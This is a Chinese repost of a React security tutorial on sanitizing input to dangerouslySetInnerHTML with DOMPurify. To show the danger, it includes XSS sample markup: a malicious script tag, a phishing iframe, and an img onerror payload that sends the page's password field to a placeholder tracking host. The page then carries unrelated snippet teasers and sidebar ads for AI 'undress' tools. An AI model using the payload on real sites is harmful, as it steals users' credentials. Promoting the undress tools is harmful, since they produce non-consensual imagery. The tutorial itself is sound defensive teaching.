封面图片由 Lautaro Andreani
...
TL: DR;盲目地将内容转储到危险的SetInnerHTML 中就是这样 - 危险。确保您正在清理传递给危险SetInnerHTML 的任何输入,除非您对输入有显式控制。
以下组件作为通过危险的 SetInnerHTML 降低 XSS 攻击风险的简单示例:
//https://github.com/cure53/DOMPurify import React from "react"; import DOMPurify from "dompurify"; const sanitize = (dirty) => DOMPurify.sanitize(dirty); const DangerousHtml = ({ innerHTML, tag }) => { const clean = sanitize(innerHTML); if (typeof tag === "undefined") { return <div dangerouslysetinnerhtml="{{" __html: clean></div>; } return <tag dangerouslysetinnerhtml="{{" __html: clean></tag>; }; export default DangerousHtml;
通过使用我们定制的 DangerousHtml 组件,我们可以显着降低 XSS 漏洞利用的风险,因为我们会在输入到达实际危险的 SetInnerHTML 属性之前对其进行清理
DOMPurify 也是高度可配置的,因此您可能希望拥有多个组件(如我们的示例)来处理特定用例或显式允许以下某些示例。
以下是一些有关漏洞利用如何发生的简短示例:
利用 iFrame 和脚本标签
XSS 是可能的,因为 React 不会删除指向恶意负载的脚本标签。
我们也不应该以这种方式传递 iFrame。相反,我们应该将 URL 和任何其他“安全”属性作为 props 传递,并在 iFrame 标记中自行渲染,以保留对其渲染能力和源的控制,或者拥有专用的 iFrame 组件。
例如,考虑一下我们从 API 请求收到的恶意标记。如果我们通过危险的SetInnerHTML盲目地设置它,我们将为用户提供以下输出:
// Bad markup going in <div dangerouslysetinnerhtml="{{" __html:> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> `, }} /> <pre class="brush:php;toolbar:false"><!-- Bad markup rendered on the DOM --> <div> <p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p> </div>
但是,使用我们的 DangerousHTML 组件意味着我们已经减轻了用户可能面临的大部分风险:
// Bad markup going in <dangeroushtml innerhtml="{`<p"> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> `} /> </dangeroushtml>
<!-- Clean markup rendered on the DOM --> <div> <p>Hi Fiona, here is the link to enter your bank details:</p> </div>
Fiona 可能认为网站因某种原因损坏或丢失内容 - 但这仍然比被钓鱼获取银行详细信息要好!
属性操纵/中毒
一些 DOM 元素具有我们可以滥用的特殊属性,我们应该保护自己免受这些属性的侵害。
在此示例中,我们可以在
例如,给出以下内容:
// Bad markup going in <div dangerouslysetinnerhtml="{{" __html:> Hola <img src="/static/imghwm/default1.png" data-src="none.png" class="lazy" onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' alt="使用 React 的'危险 SetInnerHTML”时缓解 XSS 漏洞" > Sharon `, }} /> <pre class="brush:php;toolbar:false"><!-- Bad markup rendered on the DOM --> <div> <p> Hola <img src="/static/imghwm/default1.png" data-src="none.png" class="lazy" onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' alt="使用 React 的'危险 SetInnerHTML”时缓解 XSS 漏洞" > Sharon </p> </div>
在这种情况下,当图像请求最终失败并且用户永远不会知道时,我们的中毒标记正在从 DOM 窃取数据。
我们可以使用 DangerousHtml 组件再次缓解这种情况
// Bad markup going in <dangeroushtml innerhtml="{`"> Hola <img src="/static/imghwm/default1.png" data-src="none.png" class="lazy" onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' alt="使用 React 的'危险 SetInnerHTML”时缓解 XSS 漏洞" > Sharon `} /> </dangeroushtml>
<!-- Clean markup rendered on the DOM --> <div> <p> Hola <img src="/static/imghwm/default1.png" data-src="none.png" class="lazy" alt="使用 React 的'危险 SetInnerHTML”时缓解 XSS 漏洞" > Sharon </p> </div>
考虑到我们可能真的想执行一些 JS 来显示后备图像,我们不应该再相信原始的、未经净化的 HTML 来为我们做这件事,并且最好使用我们需要的 FallbackImageURL 或 onError 属性。可以像这样显式添加到我们的图像标签中:
// Usual imports const MyImageComponent = ({ fallbackUrl, url }) => { // Usual component setup const displayFallbackImage = (evt) => { // If there is no fallback, do nothing if (!fallbackUrl) return; // set the url to the fallbackUrl evt.target.src = fallbackUrl; }; return ( <img src="%7Burl%7D" onerror="{displayFallbackImage}" ... any other props alt="使用 React 的'危险 SetInnerHTML”时缓解 XSS 漏洞" > ); };
...
原创文章:https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml
以上是使用 React 的'危险 SetInnerHTML”时缓解 XSS 漏洞的详细内容。更多信息请关注PHP中文网其他相关文章!

JavaScript字符串替换方法详解及常见问题解答 本文将探讨两种在JavaScript中替换字符串字符的方法:在JavaScript代码内部替换和在网页HTML内部替换。 在JavaScript代码内部替换字符串 最直接的方法是使用replace()方法: str = str.replace("find","replace"); 该方法仅替换第一个匹配项。要替换所有匹配项,需使用正则表达式并添加全局标志g: str = str.replace(/fi

简单JavaScript函数用于检查日期是否有效。 function isValidDate(s) { var bits = s.split('/'); var d = new Date(bits[2] '/' bits[1] '/' bits[0]); return !!(d && (d.getMonth() 1) == bits[1] && d.getDate() == Number(bits[0])); } //测试 var

本文探讨如何使用 jQuery 获取和设置 DOM 元素的内边距和外边距值,特别是元素外边距和内边距的具体位置。虽然可以使用 CSS 设置元素的内边距和外边距,但获取准确的值可能会比较棘手。 // 设置 $("div.header").css("margin","10px"); $("div.header").css("padding","10px"); 你可能会认为这段代码很

本文探讨了十个特殊的jQuery选项卡和手风琴。 选项卡和手风琴之间的关键区别在于其内容面板的显示和隐藏方式。让我们深入研究这十个示例。 相关文章:10个jQuery选项卡插件

发现十个杰出的jQuery插件,以提升您的网站的活力和视觉吸引力!这个精选的收藏品提供了不同的功能,从图像动画到交互式画廊。让我们探索这些强大的工具: 相关文章: 1

HTTP-Console是一个节点模块,可为您提供用于执行HTTP命令的命令行接口。不管您是否针对Web服务器,Web Serv

本教程向您展示了如何将自定义的Google搜索API集成到您的博客或网站中,提供了比标准WordPress主题搜索功能更精致的搜索体验。 令人惊讶的是简单!您将能够将搜索限制为Y

当div内容超出容器元素区域时,以下jQuery代码片段可用于添加滚动条。 (无演示,请直接复制到Firebug中) //D = document //W = window //$ = jQuery var contentArea = $(this), wintop = contentArea.scrollTop(), docheight = $(D).height(), winheight = $(W).height(), divheight = $('#c


热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

SublimeText3汉化版
中文版,非常好用

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

螳螂BT
Mantis是一个易于部署的基于Web的缺陷跟踪工具,用于帮助产品缺陷跟踪。它需要PHP、MySQL和一个Web服务器。请查看我们的演示和托管服务。

Dreamweaver CS6
视觉化网页开发工具

DVWA
Damn Vulnerable Web App (DVWA) 是一个PHP/MySQL的Web应用程序,非常容易受到攻击。它的主要目标是成为安全专业人员在合法环境中测试自己的技能和工具的辅助工具,帮助Web开发人员更好地理解保护Web应用程序的过程,并帮助教师/学生在课堂环境中教授/学习Web应用程序安全。DVWA的目标是通过简单直接的界面练习一些最常见的Web漏洞,难度各不相同。请注意,该软件中